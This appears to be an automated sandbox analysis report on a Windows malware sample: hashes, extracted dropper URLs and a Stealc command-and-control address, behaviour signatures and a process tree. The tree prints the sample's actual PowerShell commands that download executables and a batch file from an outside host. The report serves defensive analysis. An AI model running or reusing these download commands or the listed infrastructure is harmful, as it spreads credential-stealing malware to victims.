Analysis

  • max time kernel
    193s
  • max time network
    197s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    07-05-2024 22:56

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd1102.tmp\app.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2484
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2108
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Users\Admin\AppData\Local\Temp\u260.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u260.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:836
        • C:\Users\Admin\AppData\Local\Temp\u260.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u260.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:1336
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2560
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    d608dfc842a0f2c2f6837a3cd582eb02

    SHA1

    9dd88a682e4ddf1ee40996cc43ec2bc5d960dc45

    SHA256

    c192b7a0fc8bd02bcf3af107f17b71c59711a270fda7216c47bc08cd520ebca0

    SHA512

    d9b293d83695eb8f7564dbc231349175e1606dd0a654ed708b159414b616ccf38d4aac1b472311b3f79efee02b59f08c141000d695d10fa7d6cbd5ac9ba64dc5

  • C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\a34b5051478c01d83934dd5b0120757f7e5ff041b03ce291cb3621788d299269\d96b26362d9d4396a19ce679f44b9e50.tmp

    Filesize

    1KB

    MD5

    0073805e2646c79b9cdcb6231265eea7

    SHA1

    a33c2d8c618e98694533f9a0ef29fac2387eba24

    SHA256

    f290b08ed1c815afe8b22bf7a2f610f5ea2ac563b4a1742a858f0694e0922c78

    SHA512

    67a344b6d642d894a64909575b3521e5cea2fe83c2893f506911419bb0fea2eb7f9aed769873cd75fc12b0a9bf60d1414d4830912edd159c3cbc7acb25dc08c3

  • C:\Users\Admin\AppData\Local\Temp\Tar1474.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

    Filesize

    2KB

    MD5

    5967f0c302e17d39ed01ffb430bafebd

    SHA1

    e065c358cca39ab84223762cfc06cb6a124efc21

    SHA256

    0a1f6682609babdfde5759156562a15698a5a307ce08ce30a159a4993fa0734f

    SHA512

    0ebf8ab5b162df9dcd0874e825c6a7ea668818d470c027829fb0566abfd680c69dcf2b25a8a3e985cb60927297d158d5e5f9f8f025ed313554572ac0866f2f7a

  • C:\Users\Admin\AppData\Local\Temp\nsd1102.tmp\app.bat

    Filesize

    556B

    MD5

    1d5830e49fb8ad21e3c1e3333b819e7f

    SHA1

    ee70e4b9c36d0bbcefce139bac51abadbd985197

    SHA256

    8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

    SHA512

    1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    f40f9c3e68891048a3906a42c1c990da

    SHA1

    d0878875402502cd760abff93bc3d404322d55d0

    SHA256

    98630fa1967c0639caa8fc7a28030dcb9c7b05eaf4ad298b545d14950a6fbfae

    SHA512

    01a2b78ff70119271ccd26029d4fc9f0156e871f6f349b00d453175102734b4d3056417082af499e7456d0b3a9ccd9aa6826c9945f1b4584ec097efc137fd61b

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    404KB

    MD5

    c2cd725c9947ccc6afdefb26a3bb5b6e

    SHA1

    facbedddff36beb284dc900000c1bc71f236169d

    SHA256

    19db0a5131dd99b1af05a4c2b04948ea0a3a4307a34506eee732165825572407

    SHA512

    00d917fb66d3d3208ce8265cb27ac6109866d7307f53cf20f37145ae8a16c93e4708cba87485478e95454d2663308d8aafafd0bed9d60235bebc86c8bd3fc1fb

  • \Users\Admin\AppData\Local\Temp\nsd1102.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • \Users\Admin\AppData\Local\Temp\u260.0.exe

    Filesize

    262KB

    MD5

    49c818da112894812df1468c79b96bbc

    SHA1

    b943d8877e19b59cd6f61f702c659e635fd96a4f

    SHA256

    7dee0c70282dffb5642fe42e1d7480ace50d58fad04f41f240b99dd7be432a3a

    SHA512

    5171905e30b07b72a32f12b0d9a39003d1a8aa83feeb25cb867a2290eed5e8bf3c6b2d7e5eb85be31a1bc818726dafd899d9956440804b2ef47d46e41c259732

  • \Users\Admin\AppData\Local\Temp\u260.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • memory/836-342-0x0000000000400000-0x0000000002AFE000-memory.dmp

    Filesize

    39.0MB

  • memory/836-341-0x0000000000400000-0x0000000002AFE000-memory.dmp

    Filesize

    39.0MB

  • memory/836-321-0x0000000000400000-0x0000000002AFE000-memory.dmp

    Filesize

    39.0MB

  • memory/836-216-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/1336-278-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/2484-151-0x0000000002770000-0x00000000027B0000-memory.dmp

    Filesize

    256KB

  • memory/2560-292-0x00000000010C0000-0x00000000010E4000-memory.dmp

    Filesize

    144KB

  • memory/2560-299-0x000000001F470000-0x000000001F522000-memory.dmp

    Filesize

    712KB

  • memory/2560-298-0x000000001E120000-0x000000001E14A000-memory.dmp

    Filesize

    168KB

  • memory/2560-297-0x000000001E100000-0x000000001E10A000-memory.dmp

    Filesize

    40KB

  • memory/2560-288-0x000000001EC20000-0x000000001ED2A000-memory.dmp

    Filesize

    1.0MB

  • memory/2560-289-0x0000000000530000-0x0000000000540000-memory.dmp

    Filesize

    64KB

  • memory/2560-315-0x0000000000500000-0x000000000050A000-memory.dmp

    Filesize

    40KB

  • memory/2560-319-0x000000001FC60000-0x000000001FF60000-memory.dmp

    Filesize

    3.0MB

  • memory/2560-322-0x0000000000520000-0x000000000052A000-memory.dmp

    Filesize

    40KB

  • memory/2560-291-0x0000000000C00000-0x0000000000C14000-memory.dmp

    Filesize

    80KB

  • memory/2560-325-0x0000000000FC0000-0x0000000000FE2000-memory.dmp

    Filesize

    136KB

  • memory/2560-324-0x000000001EA20000-0x000000001EA82000-memory.dmp

    Filesize

    392KB

  • memory/2560-323-0x0000000000D40000-0x0000000000D4A000-memory.dmp

    Filesize

    40KB

  • memory/2560-328-0x0000000000E70000-0x0000000000E7C000-memory.dmp

    Filesize

    48KB

  • memory/2560-290-0x0000000000C10000-0x0000000000C1C000-memory.dmp

    Filesize

    48KB

  • memory/2560-284-0x00000000010E0000-0x0000000004914000-memory.dmp

    Filesize

    56.2MB

  • memory/2808-211-0x0000000000400000-0x0000000002B22000-memory.dmp

    Filesize

    39.1MB